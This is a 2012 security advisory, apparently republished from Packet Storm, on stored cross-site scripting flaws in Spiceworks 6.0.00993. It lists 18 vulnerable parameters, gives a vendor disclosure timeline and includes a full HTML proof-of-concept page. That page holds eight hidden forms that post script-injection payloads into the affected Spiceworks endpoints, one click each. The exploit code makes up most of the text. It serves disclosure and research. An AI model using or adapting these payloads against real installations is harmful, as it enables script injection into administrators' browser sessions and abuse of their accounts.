Spiceworks 6.0.00993 Cross Site Scripting

2012-09-17T00:00:00
ID PACKETSTORM:116619
Type packetstorm
Reporter LiquidWorm
Modified 2012-09-17T00:00:00

Description

                                        
                                            `<!--  
  
  
Title: Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities  
  
  
Vendor: Spiceworks Inc.  
Product web page: http://www.spiceworks.com  
Affected version: 6.0.00993 and 6.0.00966  
  
Summary: The Spiceworks IT Desktop delivers nearly everything you need to simplify your  
IT job. Available in a variety of languages, Spiceworks' single, easy-to-use interface  
combines Network Inventory, Help Desk, Mapping, Reporting, Monitoring and Troubleshooting.  
And, it connects you with other IT pros to share ideas, solve problems and decide what  
additional features you need in Spiceworks.  
  
Desc: Spiceworks suffers from multiple stored cross-site scripting vulnerabilities. The  
issues are triggered when input passed via several parameters to several scripts is not  
properly sanitized before being returned to the user. This can be exploited to execute  
arbitrary HTML and script code in a user's browser session in context of an affected site.  
List of parameters and modules that are affected:  
  
  
--------------------------------------------------------------------------------------------------------------  
# * Parameter * * Module / Component *  
--------------------------------------------------------------------------------------------------------------  
  
1. agreement[account] ...................................... agreements  
2. article[new_references][][url] .......................... xbb/knowledge_base  
3. asset[device_type] ...................................... asset  
4. asset[mac_address] ...................................... asset  
5. asset[name] ............................................. asset  
6. category[name] .......................................... settings/categories  
7. international[global_date_abbrev_format] ................ settings/advanced/save_international_settings  
8. international[global_date_format] ....................... settings/advanced/save_international_settings  
9. international[global_date_time_format] .................. settings/advanced/save_international_settings  
10. international[global_date_simple_format] ................ settings/advanced/save_international_settings  
11. international[global_time_format] ....................... settings/advanced/save_international_settings  
12. navigation[name] ........................................ my_tools  
13. purchase[name] .......................................... purchases  
14. purchase[price] ......................................... purchases  
15. purchase[purchased_for_name] ............................ purchases  
16. report[description] ..................................... reports/create  
17. vendor[name] ............................................ agreements  
18. vendor[website] ......................................... agreements  
  
--------------------------------------------------------------------------------------------------------------  
  
  
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)  
Apache 2.2.19  
Ruby 1.9.1  
SQLite 3.7.5  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab - http://www.zeroscience.mk  
  
  
Vendor status:  
  
[26.08.2012] Vulnerabilities discovered.  
[29.08.2012] Contact with the vendor.  
[29.08.2012] Vendor responds asking more details.  
[29.08.2012] Sent detailed information to the vendor.  
[29.08.2012] Vendor confirms receiving files.  
[03.09.2012] Asked vendor for confirmation.  
[04.09.2012] Vendor awaits status from submited ticket to development team.  
[11.09.2012] Asked vendor for status update.  
[11.09.2012] Vendor says that the development team is still investigating.  
[13.09.2012] Informed the vendor that the advisory will be published on 17th of September.  
[14.09.2012] Vendor replies stating that a developer will contact us.  
[17.09.2012] No contact from the development team.  
[17.09.2012] Public security advisory released.  
  
  
Advisory ID: ZSL-2012-5107  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5107.php  
  
Spiceworks: http://community.spiceworks.com/help#Current  
  
  
26.08.2012  
  
  
-->  
  
  
<html>  
<head>  
<title>Spiceworks 6.0.00993 Multiple Script Injection Vulnerabilities</title>  
<link rel="Shortcut Icon" href="http://zeroscience.mk/favicon.ico" type="image/x-icon">  
</head>  
<body bgcolor="#1C1C1C" leftmargin="100"><br />  
<img style="margin-left:10" src="http://zeroscience.mk/images/zsl-logo1.png" hight="20%" width="20%">  
  
<script type="text/javascript">  
  
var disclaimer = "This document and all the information it contains are provided \"as is\",\n" +  
"for educational purposes only, without warranty of any kind, whether\n" +  
"express or implied.\n\n" +  
  
"The author reserves the right not to be responsible for the topicality,\n" +  
"correctness, completeness or quality of the information provided in\n" +  
"this document. Liability claims regarding damage caused by the use of\n" +  
"any information provided, including any kind of information which is\n" +  
"incomplete or incorrect, will therefore be rejected.";  
  
var answ = confirm(disclaimer);  
  
if (answ == true){}else{window.location.href = "http://www.spiceworks.com";}  
  
function xss1(){document.forms["xss1"].submit();}  
function xss2(){document.forms["xss2"].submit();}  
function xss3(){document.forms["xss3"].submit();}  
function xss4(){document.forms["xss4"].submit();}  
function xss5(){document.forms["xss5"].submit();}  
function xss6(){document.forms["xss6"].submit();}  
function xss7(){document.forms["xss7"].submit();}  
function xss8(){document.forms["xss8"].submit();}  
  
</script>  
  
<center><h2 style="position:absolute;left:525;top:32;background-color:#BAB8B9;width:200">  
HTML Response:</h2></center>  
  
<iframe src="http://localhost/login" width="1100" height="700"  
name="ZSL_iframe" align="top" frameborder="1" style="position:absolute;left:525;  
top:80;background-color:#cecece;border-color:#FFFFFF"></iframe>  
  
<font color="#FF6633" size="2" style="position:absolute;top:795px;right:55px">v1.6</font>  
  
<form action="http://localhost/agreements"  
enctype="application/x-www-form-urlencoded" method="POST" id="xss1" target="ZSL_iframe">  
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />  
<input type="hidden" name="agreement[account]" value='"><script>alert(1);</script>' />  
<input type="hidden" name="agreement[account_manager]" value="" />  
<input type="hidden" name="agreement[agreement_type]" value="other-vendor" />  
<input type="hidden" name="agreement[cost]" value="1" />  
<input type="hidden" name="agreement[cost_unit]" value="per month" />  
<input type="hidden" name="agreement[email]" value="" />  
<input type="hidden" name="agreement[phone]" value="" />  
<input type="hidden" name="agreement[service_end]" value="1" />  
<input type="hidden" name="agreement[service_start]" value="" />  
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />  
<input type="hidden" name="from" value="sp_toolbar" />  
<input type="hidden" name="purchase_id" value="" />  
<input type="hidden" name="vendor[id]" value="" />  
<input type="hidden" name="vendor[name]" value='"><script>alert(2);</script>' />  
<input type="hidden" name="vendor[website]" value='"><script>alert(3);</script>' />  
</form>  
  
<!-- (New Article in Knowledge Base) -->  
  
<form action="http://localhost/xbb/knowledge_base?uuid=f467c1ba-9b18-4325-b441-de9b4f42f555&ehash=edad6981ec082863da194e104a9257ff"  
enctype="application/x-www-form-urlencoded" method="POST" id="xss2" target="ZSL_iframe">  
<input type="hidden" name="article[end_content]" value="" />  
<input type="hidden" name="article[new_references][][temp_id]" value="c33" />  
<input type="hidden" name="article[new_references][][title]" value="ZSL" />  
<input type="hidden" name="article[new_references][][url]" value='"><script>alert(4);</script>' />  
<input type="hidden" name="article[new_steps][][content]" value="1" />  
<input type="hidden" name="article[new_steps][][position]" value="1" />  
<input type="hidden" name="article[new_steps][][temp_id]" value="c30" />  
<input type="hidden" name="article[new_steps][][title]" value="1" />  
<input type="hidden" name="article[shared_with]" value="0" />  
<input type="hidden" name="article[start_content]" value="1" />  
<input type="hidden" name="article[title]" value="1" />  
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />  
</form>  
  
<form action="http://localhost/asset"  
enctype="application/x-www-form-urlencoded" method="POST" id="xss3" target="ZSL_iframe">  
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />  
<input type="hidden" name="active_tab" value="general" />  
<input type="hidden" name="asset[c_purchase_date]" value="" />  
<input type="hidden" name="asset[c_purchase_price]" value="12" />  
<input type="hidden" name="asset[device_type]" value='"><script>alert(5);</script>' />  
<input type="hidden" name="asset[mac_address]" value='"><script>alert(6);</script>' />  
<input type="hidden" name="asset[manually_added]" value="true" />  
<input type="hidden" name="asset[name]" value='"><script>alert(7);</script>' />  
<input type="hidden" name="asset[serial_number]" value="111" />  
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />  
<input type="hidden" name="category_from" value="8" />  
<input type="hidden" name="custom_reclassify" value="" />  
<input type="hidden" name="from" value="dashboard" />  
<input type="hidden" name="mode" value="" />  
<input type="hidden" name="shown" value="true" />  
</form>  
  
<form action="http://localhost/settings/categories"  
enctype="application/x-www-form-urlencoded" method="POST" id="xss4" target="ZSL_iframe">  
<input type="hidden" name="_method" value="put" />  
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />  
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />  
<input type="hidden" name="category[icon]" value="user_defined" />  
<input type="hidden" name="category[id]" value="39" />  
<input type="hidden" name="category[name]" value='"><script>alert(8);</script>' />  
<input type="hidden" name="category[rule_set_attributes][and_or]" value="OR" />  
<input type="hidden" name="category[rule_set_attributes][klass]" value="Device" />  
<input type="hidden" name="icon" value="" />  
</form>  
  
<form action="http://localhost/settings/advanced/save_international_settings"  
enctype="application/x-www-form-urlencoded" method="POST" id="xss5" target="ZSL_iframe">  
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />  
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />  
<input type="hidden" name="btn" value="save" />  
<input type="hidden" name="international[currency]" value="USD" />  
<input type="hidden" name="international[global_date_abbrev_format]" value='"><script>alert(9);</script>' />  
<input type="hidden" name="international[global_date_format]" value='"><script>alert(10);</script>' />  
<input type="hidden" name="international[global_date_simple_format]" value='"><script>alert(11);</script>' />  
<input type="hidden" name="international[global_date_time_format]" value='"><script>alert(12);</script>' />  
<input type="hidden" name="international[global_time_format]" value='"><script>alert(13);</script>' />  
<input type="hidden" name="international[locale]" value="en" />  
</form>  
  
<form action="http://localhost/my_tools"  
enctype="application/x-www-form-urlencoded" method="POST" id="xss6" target="ZSL_iframe">  
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />  
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />  
<input type="hidden" name="navigation[name]" value='"><script>alert(14);</script>' />  
<input type="hidden" name="navigation[url]" value="1" />  
</form>  
  
<form action="http://localhost/purchases"  
enctype="application/x-www-form-urlencoded" method="POST" id="xss7" target="ZSL_iframe">  
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />  
<input type="hidden" name="active_tab" value="undefined" />  
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />  
<input type="hidden" name="purchase[agreement_id]" value="" />  
<input type="hidden" name="purchase[agreement_id]" value="" />  
<input type="hidden" name="purchase[charge_to]" value="General" />  
<input type="hidden" name="purchase[name]" value='"><script>alert(15);</script>' />  
<input type="hidden" name="purchase[notes]" value="" />  
<input type="hidden" name="purchase[part_number]" value="" />  
<input type="hidden" name="purchase[price]" value='"><script>alert(16);</script>' />  
<input type="hidden" name="purchase[purchase_order]" value="" />  
<input type="hidden" name="purchase[purchased_for_id]" value="" />  
<input type="hidden" name="purchase[purchased_for_name]" value='"><script>alert(17);</script>' />  
<input type="hidden" name="purchase[purchased_for_type]" value="" />  
<input type="hidden" name="purchase[quantity]" value="1" />  
<input type="hidden" name="purchase_source" value="purchases_page" />  
<input type="hidden" name="viewing_asset_id" value="undefined" />  
<input type="hidden" name="viewing_asset_type" value="undefined" />  
</form>  
  
<form action="http://localhost/reports/create"  
enctype="application/x-www-form-urlencoded" method="POST" id="xss8" target="ZSL_iframe">  
<input type="hidden" name="_pickaxe" value="%E2%B8%95" />  
<input type="hidden" name="authenticity_token" value="0OG0PH4/rp+fC43oS6EbU6ddrnIdTBnrSVMkrUz8pto=" />  
<input type="hidden" name="btn" value="" />  
<input type="hidden" name="form_action" value="create" />  
<input type="hidden" name="report[and_or]" value="AND" />  
<input type="hidden" name="report[class_type]" value="DeviceReport" />  
<input type="hidden" name="report[description]" value='"><script>alert(18);</script>' />  
<input type="hidden" name="report[id]" value="" />  
<input type="hidden" name="report[name]" value="Zero Science Lab" />  
<input type="hidden" name="report[public]" value="0" />  
<input type="hidden" name="report[public]" value="1" />  
<input type="hidden" name="report[sql]" value="" />  
<input type="hidden" name="report_field[][field_name]" value="name" />  
<input type="hidden" name="report_field[][field_name]" value="primary_owner_name" />  
<input type="hidden" name="report_field[][field_name]" value="ip_address" />  
<input type="hidden" name="report_field[][field_name]" value="operating_system" />  
<input type="hidden" name="report_field[][field_name]" value="serial_number" />  
<input type="hidden" name="report_field[][field_name]" value="manufacturer" />  
<input type="hidden" name="report_field[][field_name]" value="device_type" />  
<input type="hidden" name="report_field_add" value="" />  
<input type="hidden" name="report_fields_selected[]" value="name" />  
<input type="hidden" name="report_fields_selected[]" value="primary_owner_name" />  
<input type="hidden" name="report_fields_selected[]" value="ip_address" />  
<input type="hidden" name="report_fields_selected[]" value="operating_system" />  
<input type="hidden" name="report_fields_selected[]" value="serial_number" />  
<input type="hidden" name="report_fields_selected[]" value="manufacturer" />  
<input type="hidden" name="report_fields_selected[]" value="device_type" />  
<input type="hidden" name="report_filter[1346077855344195][key]" value="name" />  
<input type="hidden" name="report_filter[1346077855344195][operator]" value="contains" />  
<input type="hidden" name="report_filter[1346077855344195][value]" value="Begin typing for options..." />  
<input type="hidden" name="run" value="1" />  
</form>  
  
  
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"  
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"  
value="  1. agreement[account]   
  2. vendor[name]   
  3. vendor[website]" onClick="xss1()" />  
<br />  
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"  
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"  
value="  4. article[new_references][][url]" onClick="xss2()" />  
<br />  
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"  
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"  
value="  5. asset[device_type]   
  6. asset[mac_address]   
  7. asset[name]" onClick="xss3()" />  
<br />  
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"  
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"  
value="  8. category[name]" onClick="xss4()" />  
<br />  
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"  
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"  
value="  9. international[global_date_abbrev_format]   
10. international[global_date_format]   
11. international[global_date_time_format]   
12. international[global_date_simple_format]   
13. international[global_time_format]" onClick="xss5()" />  
<br />  
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"  
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"  
value="14. navigation[name]" onClick="xss6()" />  
<br />  
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"  
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"  
value="15. purchase[name]   
16. purchase[price]   
17. purchase[purchased_for_name]" onClick="xss7()" />  
<br />  
<font color="#FF6633" style="margin-left:20">==================================<br /><input type="button"  
style="font-weight:bold;text-align:left;padding-top:4;padding-bottom:4;margin-left:10; width:330"  
value="18. report[description]" onClick="xss8()" />  
<br /><font color="#FF6633" style="margin-left:20">==================================<br />  
<br /><br /><br />  
<font color="#FF6633" size="1" style="margin-left:20">2012 © <a href="http://www.zeroscience.mk"  
target="_blank" style="text-decoration:none"><font color="#FF6633">Zero Science Lab</font></a>  
  
</body></html>  
`